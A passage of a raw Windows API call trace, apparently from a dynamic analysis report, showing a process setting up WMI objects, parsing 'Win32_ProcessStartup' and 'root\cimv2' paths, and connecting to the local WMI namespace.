Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c128 | out: ppvObject=0x1b30c128*=0x0) returned 0x80004002 [0103.647] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0103.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0103.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30bf70 | out: ppvObject=0x1b30bf70*=0x0) returned 0x80004002 [0103.647] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30bf60 | out: ppvObject=0x1b30bf60*=0x1b424e30) returned 0x0 [0103.647] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b424e30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30bf88 | out: pCid=0x1b30bf88*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0103.647] WbemDefPath:IUnknown:Release (This=0x1b424e30) returned 0x3 [0103.647] CoGetContextToken (in: pToken=0x1b30c010 | out: pToken=0x1b30c010) returned 0x0 [0103.648] CoGetContextToken (in: pToken=0x1b30c490 | out: pToken=0x1b30c490) returned 0x0 [0103.648] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c550 | out: ppvObject=0x1b30c550*=0x0) returned 0x80004002 [0103.648] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0103.648] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x1 [0103.648] CoGetContextToken (in: pToken=0x1b30d280 | out: pToken=0x1b30d280) returned 0x0 [0103.648] CoGetContextToken (in: pToken=0x1b30d180 | out: pToken=0x1b30d180) returned 0x0 [0103.648] WbemDefPath:IUnknown:QueryInterface (in: This=0x656330, riid=0x1b30d2e0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d2b0 | out: ppvObject=0x1b30d2b0*=0x656330) returned 0x0 [0103.648] WbemDefPath:IUnknown:AddRef (This=0x656330) returned 0x3 [0103.648] WbemDefPath:IUnknown:Release (This=0x656330) returned 0x2 [0103.648] WbemDefPath:IWbemPath:SetText (This=0x656330, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0103.648] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656330, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0103.648] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=2, puBuffLength=0x1b30d690*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d690*=0x15, pszText=0x0) returned 0x0 [0103.648] WbemDefPath:IWbemPath:GetText (in: This=0x656330, lFlags=2, puBuffLength=0x1b30d690*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1b30d690*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0103.648] WbemDefPath:IWbemPath:GetInfo (in: This=0x656330, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0103.648] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656330, puCount=0x1b30d698 | out: puCount=0x1b30d698*=0x0) returned 0x0 [0103.648] WbemDefPath:IWbemPath:GetInfo (in: This=0x656330, uRequestedInfo=0x0, puResponse=0x1b30d6b0 | out: puResponse=0x1b30d6b0*=0xc15) returned 0x0 [0103.656] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656330, puCount=0x1b30d5f8 | out: puCount=0x1b30d5f8*=0x0) returned 0x0 [0103.657] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c5e8 | out: ppv=0x1b30c5e8*=0x6124e8) returned 0x0 [0103.657] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30c5d8 | out: pAptType=0x1b30c5d8*=1) returned 0x0 [0103.657] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30c5e0 | out: ppvObject=0x1b30c5e0*=0x0) returned 0x80004002 [0103.657] IUnknown:Release (This=0x6124e8) returned 0x0 [0103.658] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30b9d8 | out: ppv=0x1b30b9d8*=0x65af60) returned 0x0 [0103.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x65af60, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30bac0 | out: ppvObject=0x1b30bac0*=0x0) returned 0x80004002 [0103.658] WbemDefPath:IClassFactory:CreateInstance (in: This=0x65af60, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30ba98 | out: ppvObject=0x1b30ba98*=0x655eb0) returned 0x0 [0103.658] WbemDefPath:IUnknown:Release (This=0x65af60) returned 0x0 [0103.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x655eb0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30b840 | out: ppvObject=0x1b30b840*=0x655eb0) returned 0x0 [0103.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x655eb0, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30b8d0 | out: ppvObject=0x1b30b8d0*=0x0) returned 0x80004002 [0103.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x655eb0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30b0c8 | out: ppvObject=0x1b30b0c8*=0x0) returned 0x80004002 [0103.658] WbemDefPath:IUnknown:AddRef (This=0x655eb0) returned 0x3 [0103.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x655eb0, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30af88 | out: ppvObject=0x1b30af88*=0x0) returned 0x80004002 [0103.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x655eb0, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30af10 | out: ppvObject=0x1b30af10*=0x0) returned 0x80004002 [0103.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x655eb0, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30af00 | out: ppvObject=0x1b30af00*=0x1b48ab30) returned 0x0 [0103.658] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48ab30, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30af28 | out: pCid=0x1b30af28*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0103.658] WbemDefPath:IUnknown:Release (This=0x1b48ab30) returned 0x3 [0103.658] CoGetContextToken (in: pToken=0x1b30afb0 | out: pToken=0x1b30afb0) returned 0x0 [0103.658] CoGetContextToken (in: pToken=0x1b30b430 | out: pToken=0x1b30b430) returned 0x0 [0103.658] WbemDefPath:IUnknown:QueryInterface (in: This=0x655eb0, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30b4f0 | out: ppvObject=0x1b30b4f0*=0x0) returned 0x80004002 [0103.659] WbemDefPath:IUnknown:Release (This=0x655eb0) returned 0x2 [0103.659] WbemDefPath:IUnknown:Release (This=0x655eb0) returned 0x1 [0103.659] CoGetContextToken (in: pToken=0x1b30c220 | out: pToken=0x1b30c220) returned 0x0 [0103.659] CoGetContextToken (in: pToken=0x1b30c120 | out: pToken=0x1b30c120) returned 0x0 [0103.659] WbemDefPath:IUnknown:QueryInterface (in: This=0x655eb0, riid=0x1b30c280*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30c250 | out: ppvObject=0x1b30c250*=0x655eb0) returned 0x0 [0103.659] WbemDefPath:IUnknown:AddRef (This=0x655eb0) returned 0x3 [0103.659] WbemDefPath:IUnknown:Release (This=0x655eb0) returned 0x2 [0103.659] WbemDefPath:IWbemPath:SetText (This=0x655eb0, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0103.659] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x655eb0, puCount=0x1b30d5b8 | out: puCount=0x1b30d5b8*=0x2) returned 0x0 [0103.659] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d5b0*=0xf, pszText=0x0) returned 0x0 [0103.660] WbemDefPath:IWbemPath:GetText (in: This=0x655eb0, lFlags=4, puBuffLength=0x1b30d5b0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d5b0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0103.660] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d508 | out: ppv=0x1b30d508*=0x6124e8) returned 0x0 [0103.660] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d4f8 | out: pAptType=0x1b30d4f8*=1) returned 0x0 [0103.660] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d500 | out: ppvObject=0x1b30d500*=0x0) returned 0x80004002 [0103.660] IUnknown:Release (This=0x6124e8) returned 0x0 [0103.660] CoGetClassObject (in: rclsid=0x1b4417f8*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30c8f8 | out: ppv=0x1b30c8f8*=0x1b48a850) returned 0x0 [0103.660] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b48a850, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30c9e0 | out: ppvObject=0x1b30c9e0*=0x0) returned 0x80004002 [0103.661] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b48a850, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c9b8 | out: ppvObject=0x1b30c9b8*=0x656630) returned 0x0 [0103.661] WbemDefPath:IUnknown:Release (This=0x1b48a850) returned 0x0 [0103.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c760 | out: ppvObject=0x1b30c760*=0x656630) returned 0x0 [0103.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30c7f0 | out: ppvObject=0x1b30c7f0*=0x0) returned 0x80004002 [0103.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30bfe8 | out: ppvObject=0x1b30bfe8*=0x0) returned 0x80004002 [0103.661] WbemDefPath:IUnknown:AddRef (This=0x656630) returned 0x3 [0103.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30bea8 | out: ppvObject=0x1b30bea8*=0x0) returned 0x80004002 [0103.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30be30 | out: ppvObject=0x1b30be30*=0x0) returned 0x80004002 [0103.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30be20 | out: ppvObject=0x1b30be20*=0x1b48aa10) returned 0x0 [0103.661] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b48aa10, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b30be48 | out: pCid=0x1b30be48*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0103.661] WbemDefPath:IUnknown:Release (This=0x1b48aa10) returned 0x3 [0103.661] CoGetContextToken (in: pToken=0x1b30bed0 | out: pToken=0x1b30bed0) returned 0x0 [0103.661] CoGetContextToken (in: pToken=0x1b30c350 | out: pToken=0x1b30c350) returned 0x0 [0103.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c410 | out: ppvObject=0x1b30c410*=0x0) returned 0x80004002 [0103.661] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x2 [0103.661] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x1 [0103.661] CoGetContextToken (in: pToken=0x1b30d140 | out: pToken=0x1b30d140) returned 0x0 [0103.661] CoGetContextToken (in: pToken=0x1b30d040 | out: pToken=0x1b30d040) returned 0x0 [0103.661] WbemDefPath:IUnknown:QueryInterface (in: This=0x656630, riid=0x1b30d1a0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b30d170 | out: ppvObject=0x1b30d170*=0x656630) returned 0x0 [0103.661] WbemDefPath:IUnknown:AddRef (This=0x656630) returned 0x3 [0103.661] WbemDefPath:IUnknown:Release (This=0x656630) returned 0x2 [0103.661] WbemDefPath:IWbemPath:SetText (This=0x656630, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0103.662] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656630, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0103.662] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=4, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0103.662] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=4, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0103.662] CoGetObjectContext (in: riid=0x28247b8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30d598 | out: ppv=0x1b30d598*=0x6124e8) returned 0x0 [0103.662] IComThreadingInfo:GetCurrentApartmentType (in: This=0x6124e8, pAptType=0x1b30d588 | out: pAptType=0x1b30d588*=1) returned 0x0 [0103.662] IUnknown:QueryInterface (in: This=0x6124e8, riid=0x2824798*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b30d590 | out: ppvObject=0x1b30d590*=0x0) returned 0x80004002 [0103.662] IUnknown:Release (This=0x6124e8) returned 0x0 [0103.662] IIDFromString (in: lpsz="{4590F811-1D3A-11D0-891F-00AA004B2E24}", lpiid=0x1b30d088 | out: lpiid=0x1b30d088) returned 0x0 [0103.663] CoGetClassObject (in: rclsid=0x1b440e38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b30cc58 | out: ppv=0x1b30cc58*=0x1b48ad90) returned 0x0 [0103.670] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48ad90, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b30cd40 | out: ppvObject=0x1b30cd40*=0x0) returned 0x80004002 [0103.672] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b48ad90, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cd18 | out: ppvObject=0x1b30cd18*=0x1b48a990) returned 0x0 [0103.672] WbemLocator:IUnknown:Release (This=0x1b48ad90) returned 0x0 [0103.672] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48a990, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30cac0 | out: ppvObject=0x1b30cac0*=0x1b48a990) returned 0x0 [0103.672] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48a990, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b30cb50 | out: ppvObject=0x1b30cb50*=0x0) returned 0x80004002 [0103.672] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48a990, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b30c348 | out: ppvObject=0x1b30c348*=0x0) returned 0x80004002 [0103.672] WbemLocator:IUnknown:AddRef (This=0x1b48a990) returned 0x3 [0103.672] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48a990, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b30c208 | out: ppvObject=0x1b30c208*=0x0) returned 0x80004002 [0103.673] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48a990, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b30c190 | out: ppvObject=0x1b30c190*=0x0) returned 0x80004002 [0103.673] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48a990, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c180 | out: ppvObject=0x1b30c180*=0x0) returned 0x80004002 [0103.673] CoGetContextToken (in: pToken=0x1b30c230 | out: pToken=0x1b30c230) returned 0x0 [0103.673] CoGetObjectContext (in: riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b4623c8 | out: ppv=0x1b4623c8*=0x6124d0) returned 0x0 [0103.674] CoGetContextToken (in: pToken=0x1b30c6b0 | out: pToken=0x1b30c6b0) returned 0x0 [0103.674] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48a990, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b30c770 | out: ppvObject=0x1b30c770*=0x0) returned 0x80004002 [0103.674] WbemLocator:IUnknown:Release (This=0x1b48a990) returned 0x2 [0103.674] WbemLocator:IUnknown:Release (This=0x1b48a990) returned 0x1 [0103.675] CoGetContextToken (in: pToken=0x1b30d0f0 | out: pToken=0x1b30d0f0) returned 0x0 [0103.675] CoGetContextToken (in: pToken=0x1b30cff0 | out: pToken=0x1b30cff0) returned 0x0 [0103.675] WbemLocator:IUnknown:QueryInterface (in: This=0x1b48a990, riid=0x1b30d150*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b30d120 | out: ppvObject=0x1b30d120*=0x1b48a990) returned 0x0 [0103.675] WbemLocator:IUnknown:AddRef (This=0x1b48a990) returned 0x3 [0103.675] WbemLocator:IUnknown:Release (This=0x1b48a990) returned 0x2 [0103.681] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x656630, puCount=0x1b30d528 | out: puCount=0x1b30d528*=0x2) returned 0x0 [0103.681] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=8, puBuffLength=0x1b30d520*=0x0, pszText=0x0 | out: puBuffLength=0x1b30d520*=0xf, pszText=0x0) returned 0x0 [0103.681] WbemDefPath:IWbemPath:GetText (in: This=0x656630, lFlags=8, puBuffLength=0x1b30d520*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b30d520*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0103.682] CoCreateInstance (in: rclsid=0x7ffa716666a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffa71666708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b30d190 | out: ppv=0x1b30d190*=0x1b48a850) returned 0x0 [0103.682] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b48a850, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b30d3d8 | out: ppNamespace=0x1b30d3d8*=0x63cce0) returned 0x0 [0104.166] WbemLocator:IUnknown:QueryInterface (in: 